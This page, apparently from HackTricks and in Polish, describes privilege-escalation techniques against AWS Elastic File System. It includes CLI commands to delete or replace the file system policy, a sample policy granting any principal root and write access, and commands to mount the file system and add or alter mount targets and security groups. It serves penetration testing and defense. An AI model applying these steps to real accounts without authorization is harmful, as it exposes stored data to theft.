AWS - EFS Privesc

Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

EFS

Więcej informacji na temat EFS znajdziesz w:

pageAWS - EFS Enum

Pamiętaj, że aby zamontować EFS, musisz znajdować się w podsieci, w której EFS jest wystawiony i mieć do niego dostęp (grupy zabezpieczeń). Jeśli tak się dzieje, domyślnie zawsze będziesz mógł go zamontować, jednak jeśli jest chroniony przez polityki IAM, musisz mieć dodatkowe uprawnienia wymienione tutaj, aby uzyskać do niego dostęp.

elasticfilesystem:DeleteFileSystemPolicy|elasticfilesystem:PutFileSystemPolicy

Z dowolnym z tych uprawnień atakujący może zmienić politykę systemu plików, aby dać ci do niego dostęp lub po prostu usunąć go, aby przyznać domyślny dostęp.

Aby usunąć politykę:

aws efs delete-file-system-policy \
--file-system-id <value>

Aby to zmienić:

aws efs put-file-system-policy --file-system-id <fs-id> --policy file:///tmp/policy.json

// Give everyone trying to mount it read, write and root access
// policy.json:
{
"Version": "2012-10-17",
"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763",
"Statement": [
{
"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"elasticfilesystem:ClientRootAccess",
"elasticfilesystem:ClientWrite",
"elasticfilesystem:ClientMount"
],
"Condition": {
"Bool": {
"elasticfilesystem:AccessedViaMountTarget": "true"
}
}
}
]
}

elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)

Z tym uprawnieniem atakujący będzie w stanie zamontować EFS. Jeśli uprawnienie do zapisu nie jest domyślnie udzielane wszystkim, którzy mogą zamontować EFS, będzie miał tylko dostęp do odczytu.

sudo mkdir /efs
sudo mount -t efs -o tls,iam  <file-system-id/EFS DNS name>:/ /efs/

Dodatkowe uprawnienia elasticfilesystem:ClientRootAccess i elasticfilesystem:ClientWrite mogą być wykorzystane do zapisywania w systemie plików po zamontowaniu go oraz do uzyskania dostępu do tego systemu plików jako root.

Potencjalne skutki: Pośrednie podniesienie uprawnień poprzez zlokalizowanie poufnych informacji w systemie plików.

elasticfilesystem:CreateMountTarget

Jeśli atakujący znajduje się w podsieci, w której nie istnieje żaden punkt montowania EFS, może po prostu utworzyć taki punkt w swojej podsieci przy użyciu tych uprawnień:

# You need to indicate security groups that will grant the user access to port 2049
aws efs create-mount-target --file-system-id <fs-id> \
--subnet-id <value> \
--security-groups <value>

Potencjalne skutki: Pośrednie podniesienie uprawnień poprzez zlokalizowanie wrażliwych informacji w systemie plików.

elasticfilesystem:ModifyMountTargetSecurityGroups

W sytuacji, gdy atakujący odkryje, że EFS ma punkt montowania w swojej podsieci, ale brak grupy zabezpieczeń, która zezwala na ruch, może po prostu zmienić to, modyfikując wybrane grupy zabezpieczeń:

aws efs modify-mount-target-security-groups \
--mount-target-id <value> \
--security-groups <value>

Potencjalne skutki: Pośrednie podniesienie uprawnień poprzez zlokalizowanie wrażliwych informacji w systemie plików.

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated